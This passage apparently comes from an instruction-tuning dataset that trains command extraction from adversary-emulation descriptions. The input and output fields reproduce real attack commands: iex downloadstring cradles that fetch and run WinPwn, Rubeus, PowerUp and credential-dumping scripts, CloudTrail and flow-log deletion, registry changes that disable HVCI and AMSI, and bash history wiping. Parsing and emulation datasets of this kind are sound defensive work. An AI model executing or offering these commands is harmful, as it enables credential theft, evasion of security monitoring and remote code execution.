    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate adversary behavior that evades detection by automatically deleting CloudTrail logs after one day, use Stratus Red Team with the following commands: export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule\necho \"starting detonate\"\n./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force\n; Using Stratus Red Team to detonate an attack that removes VPC Flow Logs, run this sequence of commands after setting the AWS region and changing to the appropriate directory: export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.defense-evasion.vpc-remove-flow-logs\necho \"starting detonate\"\n./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force\n",
    "output": "{\"command_list\": [\"export AWS_REGION=#{aws_region} \\ncd #{stratus_path}\\necho \\\"starting warmup\\\"\\n./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule\\necho \\\"starting detonate\\\"\\n./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force\\n\", \"export AWS_REGION=#{aws_region} \\ncd #{stratus_path}\\necho \\\"starting warmup\\\"\\n./stratus warmup aws.defense-evasion.vpc-remove-flow-logs\\necho \\\"starting detonate\\\"\\n./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic requires IIS to be installed and will utilize the New-WebGlobalModule Cmdlet with the command: New-WebGlobalModule -Name #{module_name} -Image #{dll_path}; To gain remote code execution via ARD, which combines VNC for screen control and SSH for secure file transfer, execute this command: sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet",
    "output": "{\"command_list\": [\"New-WebGlobalModule -Name #{module_name} -Image #{dll_path}\\n\", \"sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Kerberoasting technique can be executed via WinPwn with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nKerberoasting -consoleoutput -noninteractive; To perform Kerberoasting with the Rubeus technique using PowerSharpPack, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"kerberoast /format:hashcat /nowrap\"",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nKerberoasting -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\\nInvoke-Rubeus -Command \\\"kerberoast /format:hashcat /nowrap\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To emulate Mimic ransomware's capability of enabling multiple RDP sessions per user, modify the fSingleSessionPerUser registry value with this command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f; Alter the online help redirection in Event Viewer by executing the following registry modification command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Event Viewer\" /v MicrosoftRedirectionURL /t REG_SZ /d \"#{redirection_url}\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Event Viewer\\\" /v MicrosoftRedirectionURL /t REG_SZ /d \\\"#{redirection_url}\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test checks the current HISTFILE value, sets it to /dev/null, and confirms the change with the command:\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; fi; This test demonstrates HISTIGNORE manipulation by first ignoring ls, rm, and ssh commands, then all commands, via this command sequence:\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='ls*:rm*:ssh*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\nhistory -c \nls -la $HISTFILE\nls -la ~/.bash_logout\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls commands are not in history\"; fi\nunset HISTIGNORE\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\nhistory -c \nwhoami\ngroups\nif [ $(history |wc -l) -eq 0 ]; then echo \"History cache is empty\"; fi",
    "output": "{\"command_list\": [\"echo $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; fi\\n\", \"if ((${#HISTIGNORE[@]})); then echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; else export HISTIGNORE='ls*:rm*:ssh*'; echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la ~/.bash_logout\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls commands are not in history\\\"; fi\\nunset HISTIGNORE\\nif ((${#HISTIGNORE[@]})); then echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; else export HISTIGNORE='*'; echo \\\"\\\\$HISTIGNORE = $HISTIGNORE\\\"; fi\\nhistory -c \\nwhoami\\ngroups\\nif [ $(history |wc -l) -eq 0 ]; then echo \\\"History cache is empty\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test disables HVCI through a registry modification, which can be done with the command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 0 /f. Ensure HVCI is properly set up before running this, and avoid using it in production settings.; To disable AMSI, adversaries with administrative rights can execute this command, which modifies the registry to redirect the Microsoft Defender COM object to a non-existent DLL: REG ADD HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /ve /t REG_SZ /d C:\\IDontExist.dll /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity\\\" /v \\\"Enabled\\\" /t REG_DWORD /d 0 /f\\n\", \"REG ADD HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\\\InProcServer32 /ve /t REG_SZ /d C:\\\\IDontExist.dll /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract credentials from Windows Credential Manager, use the following command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \n; This module retrieves stored credentials by executing: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force",
    "output": "{\"command_list\": [\"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \\n\", \"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and 